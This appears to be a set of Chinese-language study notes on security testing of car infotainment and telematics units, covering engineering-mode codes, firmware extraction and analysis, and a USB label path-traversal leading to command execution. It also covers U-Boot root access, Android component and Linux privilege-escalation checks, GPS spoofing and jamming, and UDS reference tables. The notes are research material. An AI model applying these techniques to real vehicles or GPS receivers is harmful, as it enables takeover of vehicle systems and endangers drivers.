与车机组网,向上分析TSP平台的漏洞,常见的WEB漏洞;向下分析车机端的漏洞,比如任意软件安装
如果DNS(53)端口开放,那么热点极有可能是TBOX发出的。
3.系统漏洞挖掘
拿到车机权限后就是进一步漏洞挖掘了
4.调试接口
通过逻辑分析仪和示波器等,可以判断调试串口的Tx
接口、波特率等。
常见风险点
进入系统,一般查找如下几个点
- 运行了哪些进程
- 开启了哪些端口
- 有没有厂家开发人员留下的调试手段/后门等
- 和哪些云端主机进行通讯
- 应用商店使用抓包:
- 中间人替换应用包
- 应用商店
FTP
获取用户名密码,登录篡改apk
包
- APP使用抓包
车机TIPs
工程模式
有很多的特殊的进入方法,比如拨号盘输入密码,长按系统版本版本号,时间等,逆向固件获取工程模式密码,咸鱼/淘宝搜索车型固件,社工
长安
部分车型在拨号盘输入*#201301#*
进入工程模式,输入*#518299#*
进入Android
原生界面
ADB开启
小鹏
小鹏P5 (OTA3.50及之前)或小鹏G9 (OTA4.3.1及之前)或小鹏G6(末测试)或小鹏P7(OTA2.10及之前)或小鹏G3 (版本不确定,最新版不行)
电脑和车机组网
打开车机的拨号界面,输入 *#9925*111#*
此时车机会显示一个页面,其中包含一个二维码
使用微信扫描车机的二维码,并将内容保存备用
在任意输入框中输入内容 https://hackxpeng.bgcpdd.eu.org/xpeng?m=hackxpeng&id= ,然后将获取到的二维码内容复制到最后面,注意此处不要有任何的空格
使用浏览器打开输入框中的所有内容 (网址拼接,如: https://hackxpeng.bgcpdd.eu.org/xpeng?m=hackxpeng&id-XPENGD55xXXXXXxxxxxxxx
浏览器返回一个解锁码,如*#03*12345678*#
将该解锁码输入车机的拨号界面,此时解锁码会自动消失,如果没有消失请手动删除所有内容
固件获取
获取固件的方法有很多,除了提取之外还能从论坛、官网下载等
官网下载:车企官网可能可以下载车机升级包
分析流量获取下载地址:可以抓取车机升级包的流量,如果通过明文传输可以获取到下载地址
从Flash提取:编程器提取芯片
通过调试接口提取:车机上的系统,通常来说可以通过调试接口获取到对应的固件
从系统导出:这个就需要拿到shell权限进行导出了,常见命令为
1
dd if=/dev/mtd0 of=/tmp/SD0/mtd0.bin
固件分析
常见的固件功能清单如下
名称 | 功能 |
---|---|
container.iso.bin | ISO光盘文件,包含bootloader、资源文件等 |
content.md5 | 保存其他文件的MD5值 |
custver.reg.bin | 注册表文件,记录软件版本信息 |
force.dnl | 配置文件 |
initramfs.bin | 内核文件 |
1x001.tar.gz | 压缩的根文件系统 |
manifest.ini | 配置文件,记录固件的版本号、创建日期等 |
manifest.mnf | manifest文件 |
manifest.smd | 其他文件的签名信息,用于验证数据是否被篡改 |
reg_eur.tar.gz | 压缩的资源文件 |
reg_gom.tar.gz.bins | 压缩的资源文件 |
reg_nar.tar.gz | 压缩的资源文件 |
SpecialLogDirX | 日志文件 |
triton_mid.bin | u-boot legacy uImage文件 |
uimage.bin | 内核文件 |
version.info | 版本信息 |
USB目录穿越
针对1x001.tar.gz
是车机的根文件系统,在文件系统中找到USB
挂载程序,存在路径穿越漏洞,在udev
的配置程序/etc/udev/scripts/mount.sh
中,automount()
函数用于挂载USB
设备
1 | automount() |
上述程序逻辑如下
- 通过
ID_FS_TYPE
识别U盘文件系统的格式,如果识别成功则继续,否则退出 - 继续则识别U盘的
ID_FS_UUID
和ID_FS_LABEL
,用于构造最终的挂载点,U盘挂载的地址由MOUNTPT
和mountdir
进行拼接而成,MOUNTPT
为固定值/dev/media
,mountdir
为一个变量,依据U
盘中对于ID_FS_UUID
和ID_FS_LABEL
进行赋值确定 - 如果
ID_FS_UUID
不为空,则mountdir
的值为ID_FS_UUID
,如果为空,则判断ID_FS_LABEL
是否为空,不为空则mountdir
的值赋值为ID_FS_LABEL
,若都为空,则将mountdir
赋值为disk
- 上述代码最终会将
U
盘挂载到/dev/media/$mountdir
上,那么如果$mountdir
可控,就可以通过../
进行目录穿越,将之挂载到任意地方,比如/usr/bin/
中 - 而
$mountdir
是可以通过ID_FS_UUID
和ID_FS_LABEL
来确定,而ID_FS_UUID
和ID_FS_LABEL
可以使用工具对U
盘对应值进行修改,这样就可以通过ID_FS_UUID
和ID_FS_LABEL
来控制$mountdir
从而制造目录穿越。
使用blkid
、tune2fs
和e2label
命令来对U
盘进行对应值修改,命令如下
1 | blkid /dev/sdb1 #查看UUID |
随后继续看mount.sh
,有如下代码
1 | if [${status} -ne 0];then |
命令logger
位于/usr/logger
目录下,可以将LABEL
置为../../usr/bin/
从而将U
盘中的同名命令logger
放入到/usr/bin/
中,那么在mount.sh
调用到logger
时,就会调用到U
盘中的logger
,那么即可执行任意命令,也就是说通过插拔U
盘即可执行命令,不用进入到车机中,那么这时可以通过组网进行反弹shell
到电脑中。
符号表恢复
系统启动
如果在调试串口的系统启动过程有Hit any key to stop autoboot: 0
,那么代表在启动时时可以输入任意值进入U-Boot
的。
进入之后可以通过输入help
可以查看命令帮助,一般会有printenv
、setenv
、saveenv
等设置环境变量的命令,可以通过这些命令进入单用户模式重置root
用户的密码
比如bootargs
环境变量如下
1 | console = ${console},115200n8n mem=${linuxmem} maxcpus=${cores} root=/dev/${rootdev} rootwait lpj=1994752 panic=${panic} panic=${panic} panic_on_oops=${panic_on_oops} usbcore.rh_oc_handle=1 ${xtargs} |
可以使用设置环境变量的命令在最后添加init=/bin/sh
1 | setenv bootargs console = ${console},115200n8n mem=${linuxmem} maxcpus=${cores} root=/dev/${rootdev} rootwait lpj=1994752 panic=${panic} panic=${panic} panic_on_oops=${panic_on_oops} usbcore.rh_oc_handle=1 init=/bin/sh |
车机重启后,就能直接进入单用户模式,获得root
的shell
,此时就可以重置一些密码,添加一些后门等。
测试工具
USBtin - USB to CAN interface - fischl.de
CANToolz
GitHub - CANToolz/CANToolz: CANToolz - Black-box CAN network analysis framework
进行CAN
模糊的
USBtinViewer
USBtin - USB to CAN interface - fischl.de
GitHub - EmbedME/USBtinViewer: Simple GUI for USBtin (USB to CAN interface)
进行USB
的CAN
协议探测
测试方法
故障注入
电压故障注入:《敲开内存保护的最后一扇门》付鹏飞
电磁故障注入:GitHub - newaetech/chipshouter-picoemp: Why not run micropython on your EMFI tool?
附录
ISO 14229-1-2020例程RID标准
RID Byte Value | RID Name | RID Description |
---|---|---|
0x0000 – 0x00FF | ISO/SAE Reserved | This value shall be reserved by this document for future definition |
0x0100 – 0x01FF | Tachograph Test Ids | This range of values is reserved to represent Tachograph test result values. |
0x0200 – 0xDFFF | Vehicle Manufacturer Specific | This range of values is reserved for vehicle manufacturer specific use. |
0xE000 – 0xE1FF | OBD Protocol Test Ids | This range of values is reserved to represent OBD/EOBD test result values |
0xE200 | Execute SPL | This value shall be used to convert a program module to an executable form. |
0xE201 | Deploy Loop Routine ID | This value shall be used to initiate the deployment of the previously selected ignition loop. |
0xE202 – 0xE2FF | Safety System Routine IDs | This range of values shall be reserved by this document for future definition of routines implemented by safety related systems. |
0xE300 – 0xEFFF | ISO/SAE Reserved | This value shall be reserved by this document for future definition. |
0xF000 – 0xFEFF | System Supplier Specific | This range of values is reserved for system supplier specific use. |
0xFF00 | Erase Memory | This value shall be used to start the server’s memory erase routine. The Control option and status record format shall be ECU specific and defined by the vehicle manufacturer. |
0xFF01 | Check Programming Dependencies | This value shall be used to check the server’s memory programming dependencies. The Control option and status record format shall be ECU specific and defined by the vehicle manufacturer. |
0xFF02 – 0xFFFF | ISO/SAE Reserved | This value shall be reserved by this document for future definition.NOTE FF0216 was formerly used for eraseMirrorMemoryDTCs. |
参考:国产智能网联汽车漏洞挖掘中的几个突破点 (qq.com)
还有很多,在文章中有参考的应该都有标注
NRC错误码
Hex Name Description
01 ISOSAEReserved ISO 保留,暂时未定义
…
0F
10 GeneralReject 一般性拒绝。通常在无法准确描述错误时发出
11 serviceNotSupported 服务不支持。多出现在服务未被定义
12 sub-functionNotSupported 子功能不支持。多出现子功能未被定义
13 ncorrectMessageLengthOrInvalidFormat 报文长度错误
14 responseTooLong 响应字节数太长
15 ISOSAEReserved ISO 保留,暂时未定义
…
20
21 busyRepeatRequest 过忙导致执行失败。多出现在快速发送请求
22 conditionsNotCorrect 条件不满足。多出现在整车状态无法满足诊断的需求
23 ISOSAEReserved ISO 保留,暂时未定义
24 requestSequenceError 请求的顺序错误。多出现在没有首先接收请求的情况下接收sendKey子功能
25 noResponseFromSubnetComponent 子网无法响应
26 FailurePreventsExecutionOfRequestedAction DTC出现了错误的记录。一般不出现
27 ISOSAEReserved ISO 保留,暂时未定义
…
30
31 requestOutOfRange 请求超出范围
32 ISOSAEReserved ISO 保留,暂时未定义
33 securityAccessDenied 安全访问模式错误
34 ISOSAEReserved ISO 保留,暂时未定义
35 invalidKey 密钥key无效
36 exceededNumberOfAttempts 收到的invalidKey超过了允许的尝试次数
37 requiredTimeDelayNotExpired NRC_36之后,安全访问锁定的时间内再次请求seed
38 reservedByExtendedDataLinkSecurityDocument 扩展数据链路层保留
…
4F
50 ISOSAEReserved ISO 保留,暂时未定义
…
6F
70 uploadDownloadNotAccepted 上传/下载受限。多出现在通过诊断刷写程序
71 transferDataSuspended 数据传输中断。多出现在通过诊断刷写程序
72 generalProgrammingFailure 编程失败。多出现在通过诊断刷写程序
73 wrongBlockSequenceCounter 块序计算错误。多出现在通过诊断刷写程序
74 ISOSAEReserved ISO 保留,暂时未定义
…
77
78 requestCorrectlyReceived-ResponsePending 请求正常接收,但应答正在响应中
79 ISOSAEReserved ISO 保留,暂时未定义
…
7D
7E sub-functionNotSupportedInActiveSession 该子功能在当前会话下不支持
7F serviceNotSupportedInActiveSession 该服务在当前会话下不支持
80 ISOSAEReserved ISO 保留,暂时未定义
81 rpmTooHigh 编程管理地址过高
82 rpmTooLow 编程管理地址过低
83 engineIsRunning 发动机运转。·
84 engineIsNotRunning 发动机未运转
85 engineRunTimeTooLow 发动机运行时间过短
86 temperatureTooHigh 温度过高
87 temperatureTooLow 温度过低
88 vehicleSpeedTooHigh 车速过高
89 vehicleSpeedTooLow 车速过低
8A throttle/PedalTooHigh 油门/踏板太高
8B throttle/PedalTooLow 油门/踏板太低
8C transmissionRangeNotInNeutral 非空挡
8D transmissionRangeNotInGear 不在指定档位
8E ISOSAEReserved ISO 保留,暂时未定义
8F brakeSwitch(es)NotClosed 踏板开关未关闭
90 shifterLeverNotInPark 车辆处于非P档
91 torqueConverterClutchLocked 液力变矩器离合器锁定
92 voltageTooHigh 电压过高
93 voltageTooLow 电压过低
94 reservedForSpecificConditionsNotCorrect 预留给特定异常情况
…
EF
F0 vehicleManufacturerSpecificConditionsNotCorrect 预留给整车厂定义的特定异常情况
…
FE
FF ISOSAEReserved ISO 保留,暂时未被定义
参考:跟我学UDS(ISO14229) ———— NRC码_nrc uds-CSDN博客
硬件安全
1.芯片PCB丝印
通过Datasheet,google等搜索芯片的PCB丝印信息
2.引脚探测
使用JTAGulator可以连接各个接口,地线,然后通过串口连接
分析Jtag接口
其他的也是类似的,help查看命令即可。
3.固件提取读写
提取
拆解芯片之后,使用RT809H编程器打开进行芯片识别,然后提取即可。
读写
通过飞线连接对应的Jtag或者SWD接口等,然后用JFlash进行连接即可读取刷写
Target->Connect连接,随后选取range读取Flash,选取范围,有的芯片是只能读写某个范围的数据,可以自己尝试
智能汽车网络安全权威指南
第11章不得不说的汽车网络安全攻击手法
攻击向量分析
整车攻击面
硬件分析
具体再看
固件逆向
1.固件分类
- Bare Metal(裸机)固件:
- 车内的Bare Metal通常是基于Autosar CP(Classical Platform AUTOmotive Open System Architecture)实现的标准嵌入式系统。它的任务通常不会超过3/4个,在特定条件下运行。
- 基本都是基于C语言编写的,常见的C语言漏洞也适用
- 没有预定义的文件结构,通常需要了解芯片手册,创建内存映射再进行反汇编。
- 成熟的操作系统固件:
- 大多为Linux、windows CE、Android等等
- 通常包含三个组件:BootLoader、内核、文件系统。
2.固件解包
(1)清除OOB
从Flash中提取的固件,需要将固件中的Out-Of-Band(OOB)
空闲区块去除,常见存储为格式如下两种
对于2048字节的可以使用如下python代码清除
1 | data = open("image.bin","rb").read() |
(2)解包固件
Binwalk:
dumpifs:解包OS image(IFS)固件
dumpefs:解包Flash filesystem image(EFS)固件
simg2img:解包system.img和vendor.img
1
2simg2img system.img system.img.ext4
mount -t ext4 -o loop system.img.ext4 systemunpackbootimg:解包boot固件xiaolu/mkbootimg_tools: Unpack and repack boot.img,support dtb(dt.img). (github.com)
gunzip:解包ramdisk固件
1
gunzip -c boot.img-ramdisk | cpio -i
3.固件逆向
(1)指令集识别
可以用Binwalk -A
进行识别指令集。
(2)获取基地址
芯片
DataSheet
查找工具
switch定位识别,不太懂
(3)函数恢复
- log函数识别,没看懂
- BSP(Board Support Package)重编译:如果有与芯片固件相对应的BSP软件包,那么可以尝试编译,然后用bindiff进行比对识别函数。
- CMSIS-SVD符号恢复法,不太懂
……
(4)固件代码定位
….
(5)固件调试
主要是用芯片级别的调试,使用JTAG
WEB漏洞
远程车机应用攻击
BLE蓝牙钥匙
或者使用gatttool进行重放
Android攻击
敏感信息
apkurlgrep
:ndelphit/apkurlgrep: Extract endpoints from APK files (github.com)扫描APK中使用的URL
apkleaks
:dwisiswant0/apkleaks: Scanning APK file for URIs, endpoints & secrets. (github.com)扫描APK中的密钥、URI等
StaCoAn
:vincentcox/StaCoAn: StaCoAn is a crossplatform tool which aids developers, bugbounty hunters and ethical hackers performing static code analysis on mobile applications. (github.com)可以帮忙扫描硬编码密钥、apikey、密码等信息
检查Manifest.XML
检查应用程序是否可以调试:
debugable = "true"
检查是否可以允许备份:
android:allowBackup = "true"
检查是否有导出的Activity:是否有
<activity android:name=".TestActivity" android:exported="true"/>
,这样的Activity组件可以被其他应用调用如果存在,可以以如下命令尝试启动
1
adb shell am start -n com.example.demo/com.example.test.MainActivity
检查是否有导出的Content Provider:是否有
<provider android:name=".DBContentProvider" android:export="true"
,这样的Provider可以被其他应用调用Content Provider所提供的数据可以存储在数据库、文件、网络上,可以用一个Drozer来模拟应用程序调用四大组件
WithSecureLabs/drozer: The Leading Security Assessment Framework for Android. (github.com)
当Content Provider为数据库存储,可能出现sql注入,可以如下尝试
1
2dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --selection "'"
unrecognized token: "')" (code 1): , while compiling: SELECT * FROM Passwords WHERE (')当Content Provider为文件存储时,可能有目录穿越
1
dz> run app.provider.read content://[APPLICATION_ID]/public/../../databases/database.db
检查是否有导出的Service:是否有
<service android:name=".ExampleExportedService" android:exported="true"/>
,这样的Service可以被其他应用调用常见的处理代码从handleMessage函数开始,快速定位如下关键函数
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19private final class ServiceHandler extends Handler {
public ServiceHandler(Looper looper){
super(looper);
}
public void handleMessage(Message msg){
// Normally we would do some work here, like download a file.
// For our sample,we just sleep for 5 seconds
try {
Thread.sleep(5000);
}catch (InterruptedException e){
// Restoreinterrupt status.
Thread.currentThread().interrupt();
}
// Stop the service using the startId,so that we don't stop
// the service in the middle of handling another job
stopself(msg.arg1);
}
}使用Drozer调用服务
1
run app.service.send <package name> <component name> --msg <what> <arg1> <arg2> --extra <type> <key> <value> --bundle-as-obj
检查是否有广播接收器:是否有
<receiver android:name=".MyBroadcastReceiver" android:exported="true"/>
,这样其他的应用可以发广播给该程序重点关注onReceive函数
1
2
3
4
5
6
7
8
9
10
11public class MyBroadcastReceiver extends BroadcastReceiver {
private static final String TAG = "MyBroadcastReceiver";
void onReceive(Context context, Intent intent){
StringBuilder sb = new StringBuilder();
sb.append("Action: + intent.getAction() + “\n");
sb.append("URI:" + intent.touri(Intent.URI INTENT SCHEME).toString()+"\n");
String log = sb.tostring();
Log.d(TAG,log);
Toast.makeText(context,log, Toast.LENGTH LONG).show();
}
}使用Drozer调用服务
1
run app,broadcast.send --component <package name> <component name>--action<action> --extra <type> <key> <value>
检查是否有URL Scheme:检查Activity中是否有
<data android:scheme="app" android:host="open.my.app" />
这样的Activity可以被其他应用通过URL打开,包括浏览器,这个即为Deeplink,用adb测试1
adb shell am start -a android.intent.action.VIEW -d "scheme://hostname/path?param=value" [your.package.name]
通常还需要检查是否存在敏感参数,密码,明文传输,证书检查,弱密码套件(即加密算法)
检查Activity模式是否为singleTask:具有singleTask模式的Activity具有被劫持的风险,此类漏洞可以参考:Android task hijacking using moveTaskToBack() and excludeFromRecents (takemyhand.xyz)
检查是否有
<activity android:name=".MainActivity" android:launchMode="singleTask"/>
代理组件攻击
不懂
过时加密算法
Deprecated CipherSpecs - IBM Documentation
自动化静态分析
Vooki - Free Android APK & API Vulnerability Scanner | Vooki Infosec (vegabird.com)
重点关注的函数
- 从外部获取数据:
getOutputStream
、getParcelable
- 具有风险行为的函数:
exec
、sendBroadcast
等
参考:secure-software-engineering/FlowDroid: FlowDroid Static Data Flow Tracker (github.com)
日志分析
客户端注入
SQL注入、Javascript注入(XSS)如果webview代码中调用了setJavaScriptEnabled函数则可能开启,默认关闭的。
本地文件包含,如果代码调用setAllowFileAccess(false)则表示关闭了,默认开启的。
Linux攻击
1.信息收集
root权限进程:
1
ps -ef
查看网络信息,哪些开放断开,哪些有UNIX socket
1
netstat -npl
检查suid程序
1
find / -type f -perm -u=s -ls 2>/dev/null
检查任意用户可写的文件看是否能提取
1
find / -perm -2 -type f -ls 2>/dev/null | grep -v "/proc/"
检查任意用户可写的目录,是否可以创建符号链接来提权
1
find / -perm -2 -type d -ls 2>/dev/null
查看设备,寻找可以访问的设备
1
ls -l /dev
查看文件系统,观察哪些目录是可写的
1
mount
查看内核模块,是否存在自定义的内核模块
1
lsmod
查看防火墙,是否对高危端口做了隔离
1
iptables-save
查看网卡配置,检查其IP、MAC等信息
1
ifconfig
查看路由,检查网络通信方式
1
2ip route list table all
ip rule list检查内核版本,查看是否有历史漏洞
1
uname -a
检查环境变量,是否存在可写的文件或目录
1
env
检查crontab,是否存在可写的文件或目录
1
cat /etc/crontab
检查crontab的定时执行文件以及里面执行的内容,是否具有可写权限
1
ls -al /etc/cron.daily
2.用户态攻击
(1)文件修改
可执行文件:包括shell、so等等,如果运行用户为root,但是低权限用户可以修改,则可以尝试修改获取shell
配置文件
1
2
3/etc/passwd 修改用户登录时执行的命令
/etc/ld.so.conf 添加导入.so库的目录
/etc/httpd.conf 添加自定义插件数据库文件:通过控制数据库文件,从而影响从数据库文件获取数据的程序,比如将数据带入system,将数据当作URL访问之类的
Service文件:使用systemd的系统中会存在.service文件,如果可以修改,则可以在启动或者停止服务时加入自己的代码。比如修改
ExecStart = /tmp/my.sh
,就可以在启动停止服务时执行my.sh
。其他的比如.time
,.socket
等
(2)文件夹可写
在可写文件夹中删除不可修改的文件,再创建该文件,从而达到修改文件的目的。
(3)Capability滥用
查找具有Capability的进程
1 | getcap -r / 2>/dev/null |
如果程序具有cap_dac_override
,那么该程序就可以写任意文件,如果可以控制写的目标文件和内容,就能达到提权目的了。此外还有CAP_SYS_ADMIN
、CAP_SYS_PTRACE
、CAP_SYS_CHOWN
等等
(4)SUID
(5)Linux IPC
即攻击者作为普通用户普通进程,通过IPC和具有漏洞的root进程进行数据交互传输,利用root进程的漏洞来获取shell,从而完成提权,常见的有socket、MemoryMap、SystemV、Posix、NamePipe、SharedMemory等等
(6)总线协议
常见的总线协议为DBus和MQTT协议,这个暂时不懂可以用如下python代码和C代码建立DBus服务
1 | import dbus |
C代码为
1 | //gcc dbus_service.c -o dbus_service `pkg-config --cflags --libs dbus-1` |
使用如下shell代码向C程序发送信息
1 | dbus-send --session --dest=com.example.MyService --type=method_call --print-reply /com/example/MyService com.example.MyService.MyMethod string:"aaaaaaa" |
使用如下shell代码向python进程发送信息
1 | dbus-send --session --dest=com.example.MyService --type=method_call --print-reply /com/example/MyService com.example.MyServiceInterface.ProcessData string:"Hello, DBus!" |
可以用d-feet来查看dbus总线上的东西,另外需要区分session和system总线
会议
刷写:诊断仪刷写
OTA:车机程序调用诊断仪刷写
OTA资质:生产厂家具备
25km/h算作机动车辆
M/N/O各种车型是啥
升级的时候,如果升级之后的系统变更的参数涉及到法规规定的,那么对应的RxSWIN码就会变更。
完整性 测试增删改
CVE漏洞复现
CVE-2022-25313
依据https://github.com/libexpat/libexpat/pull/558,对车机进行测试CVE-2022-25313,导出车机expat库,放入编译环境,设置编译参数
创建test.xml测试poc正常功能
创建poc.xml测试CVE-2022-25313,将poc,test.xml,poc.xml放入车机
运行测试,test.xml正常工作。
Poc.xml无法正常工作
使用gdb调试
此时栈空间已达临界值,即将到达临界值
再运行指令,访问sp-0x80空间,无法访问
触发CWE-400漏洞
CVE-2019-20446
依据https://gitlab.gnome.org/GNOME/librsvg/-/issues/515对CVE-2019-20446进行验证
下载foo.svg,大小为7KB左右,准备类似大小10KB的mySvgTest.svg文件,均传入车机。
使用rsvg-convert进行对mySvgTest.svg进行功能验证,花费不到1秒完成转换。
使用rsvg-convert对foo.svg进行测试,等待五分钟也无法完成
重新运行,将rsvg-convert放入后台,使用top查看消耗资源,持续占用较高CPU资源
经验证,rsvg-convert因为librsvg存在CVE-2019-20446,会触发CWE-400
若车机在处理svg调用到rsvg-convert以及librsvg动态库时,将存在CVE-2019-20446触发CWE-400的风险。
CVE-2019-9948
python2的一个漏洞
CVE - CVE-2019-9948 (mitre.org)
GPS测试
1.GPS静态劫持
主要下载星历文件后使用gps-sdr-sim生成信号文件,然后用hackrf发送
2.GPS动态劫持
需要下载谷歌地球和SatGen Trajectory Generation,生成路径,转换成信号文件发送即可
3.GPS干扰
主要用Gnuradio生成信号干扰流图,参考:车载导航GPS安全研究 | 陶 | 智能城市应用 (viserdata.com)
主要依据如下流程图
生成对应的py文件,但是依据上述流程图生成的py文件会无法运行
会少一个Taps需要补充,添加一下即可
效果如下
4.GPS异地信号仿真
异地录制然后发送信号即可
芯片
大多google或者datasheet
S32K312 BMS采用的芯片:S32K系列MCU学习介绍 (coloradmin.cn)
1、NTGAN256T32AC-J1J 2121996EP 3TW
nanya的LPDDR4低功耗内存
2、sec 307 B04P KLM8G1GEUF-B04P nv90303l
https://semiconductor.samsung.com/estorage/emmc/emmc-5-1/klm8g1geuf-b04p/
https://static6.arrow.com/aropdfconversion/9dd6fa565d4ffe1cc97d44276a9f0a0ddb22fa82/klm8g1geuf-b04p.pdf
三星EMMC存储芯片 8G
3、Ublox M9140-ka c1100A 08454356 2240a3
https://content.u-blox.com/sites/default/files/UBX-M9140_ProductSummary_UBX-19027230.pdf
ublox 的GNSS 定位芯片
4、Dolphin+ TCC8034 OBX-L HSK1ZZ-2 2249
TCC803x (Dolphin+) (ARM Cortex-A53 Quad, Cortex-A7 Quad, Cortex-R5)[6] CPU芯片
5、LP8864SQ1 2BTG4 AG-1Y
https://www.alldatasheet.com/datasheet-pdf/pdf/1286986/TI/LP8864S-Q1.html
具有升压控制器的汽车类高效LED 驱动器
6、LM5127Q TI 298 ABXJ G4
https://www.ti.com.cn/cn/lit/ds/symlink/lm5127-q1.pdf?ts=1699864602436&ref_url=https%253A%252F%252Fwww.google.com.hk%252F
7、ADW 10023Z-0 2232 5889729 PHIL
8、SI47971A0 2128A02A8V e3 TW
https://www.mouser.com/datasheet/2/472/Si47971_72_short-3051514.pdf
配备音频 DSP 子系统的汽车双接收器
9、Winbond 25Q32 JVS AQ 2312
https://www.winbond.com/hq/support/documentation/downloadV2022.jsp?__locale=en&xmlPath=/support/resources/.content/item/DA00-W25Q32JV_1.html&level=1
32Mb的Flash
10、SS3203007 1UR849 1002849000900572
11、TDF8546ATH/N1
https://www.aipcba.cn/datasheet/pdf/tdf8546athn1118-cm146822571-f48101326.html?page=1
https://www.mouser.in/datasheet/2/302/TDF8546_SDS-3139660.pdf
NXP公司的音频功率放大器芯片
SOMEIP
简介:
仪表控制,灯光信号控制,座椅控制等等,座仓域
服务类型:
对应概念:
帧结构:
头部报文组成:
DOIP
依据Logical Address来确定ECU的DoIP实体
诊断
对应请求报文如下
回应:
测试规范:
刷写规范:
BLE蓝牙,secrue connect hosts:False,看这个字段是否为True
随机数符合GM/T 0005-2012
法规标准
零部件
推荐性国标:GB/T
做过GB/T 40857网关的
针对不同